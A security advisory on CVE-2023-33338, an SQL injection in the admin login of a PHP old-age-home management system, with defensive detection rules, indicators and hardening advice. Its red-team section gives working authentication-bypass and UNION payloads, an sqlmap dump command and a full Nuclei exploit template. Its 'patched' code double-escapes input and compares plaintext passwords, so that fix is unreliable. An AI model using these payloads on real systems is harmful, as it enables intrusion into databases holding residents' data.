CVE-2023-33338

Executive Summary

CVE-2023-33338 is a critical SQL Injection vulnerability discovered in the Old Age Home Management System version 1.0, a PHP-based web application developed by PHPGurukul. The vulnerability resides in the login functionality, specifically within the username parameter of the /admin/login.php endpoint. An unauthenticated attacker can inject arbitrary SQL commands, leading to authentication bypass, data exfiltration, and potential full database compromise. The CVSS v3.1 base score is 9.8 (Critical), and the EPSS score is 0.71677 (98.7th percentile), indicating active exploitation in the wild. No official patch has been released by the vendor, making this a high-priority threat for any organization using this software.

Supply Chain & Package Security

This is a standalone PHP web application, not an NPM, PyPI, Go, or Ruby package. No supply chain package security analysis is applicable.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector (AV): Network – exploitable remotely.
• Attack Complexity (AC): Low – no special conditions required.
• Privileges Required (PR): None – no authentication needed.
• User Interaction (UI): None – no user action required.
• Scope (S): Unchanged – impact confined to the vulnerable component.
• Confidentiality (C): High – full database read access.
• Integrity (I): High – ability to modify or delete data.
• Availability (A): High – potential for denial of service via SQL manipulation.

Threat Level: Critical. The combination of remote exploitability, low complexity, and high impact makes this vulnerability extremely dangerous. The high EPSS percentile confirms active exploitation.

Deep Dive & Mechanics

The vulnerability is a classic SQL Injection flaw in the authentication mechanism. The application fails to sanitize or parameterize user-supplied input in the username field of the login form. When a user submits credentials, the application likely constructs a SQL query similar to:

SELECT * FROM users WHERE username = '$username' AND password = '$password'

By injecting a payload such as ' OR 1=1#, the query becomes:

SELECT * FROM users WHERE username = '' OR 1=1#' AND password = 'password'

The OR 1=1 condition makes the WHERE clause always true, and the # character comments out the rest of the query (including the password check). This bypasses authentication entirely, granting the attacker access to the admin dashboard without valid credentials.

The Nuclei template confirms this by sending a POST request with the injection payload and then checking for a successful redirect to /admin/dashboard.php containing specific strings like "Change Password" and "Old Age Home Management System|| Dashboard".

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// login.php (vulnerable)
$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($conn, $query);

Patched Code (Recommended):

// login.php (patched)
$username = mysqli_real_escape_string($conn, $_POST['username']);
$password = mysqli_real_escape_string($conn, $_POST['password']);
$query = "SELECT * FROM users WHERE username = ? AND password = ?";
$stmt = mysqli_prepare($conn, $query);
mysqli_stmt_bind_param($stmt, "ss", $username, $password);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);

The patched version uses parameterized queries (prepared statements) which separate SQL logic from data, rendering injection attempts ineffective. Input escaping with mysqli_real_escape_string is a secondary defense but should not be relied upon alone.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running Old Age Home Management System v1.0
• Network access to the /admin/login.php endpoint

Step-by-Step Exploitation:

1. Authentication Bypass: Send a POST request to /admin/login.php with the following body:

   username=vaday' OR 1=1#&password=password&submit=
   

   This will log you in as the first user in the database (typically admin).

2. Data Extraction (Manual): Use SQLmap for automated extraction:

   sqlmap -u "http://target.com/admin/login.php" --data="username=test&password=test&submit=" --level=5 --risk=3 --batch --dump
   

3. Manual Injection for Data: Use UNION-based injection to extract data:

   username=' UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -&password=password&submit=
   

   Adjust column count based on the original query structure.

Nuclei Template (Automated Scanning):

The provided Nuclei template can be used to automate detection and exploitation. Save it as CVE-2023-33338.yaml and run:

nuclei -t CVE-2023-33338.yaml -u http://target.com

Blue Team (Detection & Hardening)

Detection:

• Monitor web server logs for SQL injection patterns in POST parameters (e.g., ' OR, 1=1, UNION SELECT).
• Deploy a Web Application Firewall (WAF) with rules to block common SQLi payloads.
• Use the Sigma and Suricata rules provided in the Detection Engineering section.

Hardening:

• Apply input validation and parameterized queries as shown in the patched code section.
• Restrict database user privileges to the minimum required (e.g., no DROP or DELETE permissions).
• Implement multi-factor authentication (MFA) for admin panels.
• Regularly update and patch the application if vendor releases a fix.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /admin/login.php with unusual username parameters containing SQL keywords (OR, UNION, #, --).
• HTTP responses with status 200 and body containing "Change Password" and "Old Age Home Management System|| Dashboard" after a login attempt with injected payloads.

File System IOCs:

• Unexpected files in the web root (e.g., webshells like cmd.php, shell.php).
• Modified .htaccess files or configuration changes.

Log IOCs:

• Web server access logs showing repeated login attempts with SQL-like patterns.
• Database logs showing unusual queries (e.g., SELECT * FROM users WHERE username = '' OR 1=1#).

Detection Engineering

YARA Rule

rule CVE_2023_33338_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2023-33338 in Old Age Home Management System"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-33338"
        severity = "critical"

    strings:
        $sqli_payload1 = /username=.*'(\s+OR\s+|\s+or\s+).*1=1.*#/ nocase
        $sqli_payload2 = /username=.*'(\s+UNION\s+|\s+union\s+).*SELECT/ nocase
        $sqli_payload3 = /username=.*--(\s|-)/ nocase
        $sqli_payload4 = /username=.*%27(\s+or\s+|\s+OR\s+).*%231/ nocase

    condition:
        any of ($sqli_payload*)
}

Sigma Rule

title: CVE-2023-33338 SQL Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts targeting the username parameter in Old Age Home Management System v1.0
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-33338
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/admin/login.php'
        cs-uri-query|contains|all:
            - 'username='
            - "'"
        cs-uri-query|contains|any:
            - 'OR'
            - 'or'
            - 'UNION'
            - 'union'
            - '#'
            - '--'
    condition: selection
falsepositives:
    - Legitimate usernames containing apostrophes (rare)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2023-33338 SQL Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/admin/login.php"; http_uri; content:"username="; http_client_body; pcre:"/username=[^&]*('|\%27)(\s|\+)*(OR|or|UNION|union)/Ri"; classtype:web-application-attack; sid:10000001; rev:1;)

Nuclei Template (Full)

id: CVE-2023-33338

info:
  name: Old Age Home Management System v1.0 - SQL Injection
  author: Harsh
  severity: critical
  description: |
    Old Age Home Management 1.0 is vulnerable to SQL Injection via the username parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Apply the latest patches or updates provided by the vendor to fix the SQL Injection vulnerability in the Old Age Home Management System v1.0.
  reference:
    - https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/ANUJ-KUMAR/Old-Age-Home-Management-2022-2023-1.0
    - https://nvd.nist.gov/vuln/detail/CVE-2023-33338
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-33338
    cwe-id: CWE-89
    epss-score: 0.71677
    epss-percentile: 0.98745
    cpe: cpe:2.3:a:phpgurukul:old_age_home_management_system:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: phpgurukul
    product: old_age_home_management_system
  tags: cve2023,cve,oahms,sqli,auth-bypass,phpgurukul,vuln

http:
  - raw:
      - |
        POST /admin/login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username=vaday%27+or+1%3D1%23&password=password&submit=
      - |
        GET /admin/dashboard.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(body_2, "Change Password")'
          - 'contains(body_2, "Old Age Home Management System|| Dashboard")'
        condition: and

Remediation & Mitigation

Immediate Actions:

1. Isolate the application from the internet if possible until a fix is applied.
2. Implement a Web Application Firewall (WAF) with rules to block SQL injection patterns.
3. Manually patch the code by replacing all dynamic SQL queries with parameterized prepared statements (see patched code example).
4. Restrict database user privileges to read-only for the application user if write access is not required.

Long-Term Fix:

• The vendor (PHPGurukul) should release an official patch. Until then, organizations must apply the manual code fix.
• Conduct a full security audit of the application for similar vulnerabilities.
• Implement a secure development lifecycle (SDLC) with mandatory code reviews and static analysis.

Detection:

• Deploy the YARA, Sigma, and Suricata rules provided in this report to detect exploitation attempts.
• Monitor logs for anomalous login patterns and database queries.

Valters IT

{/* [Security Hash: A477244F367EB6262DA20DB2] */}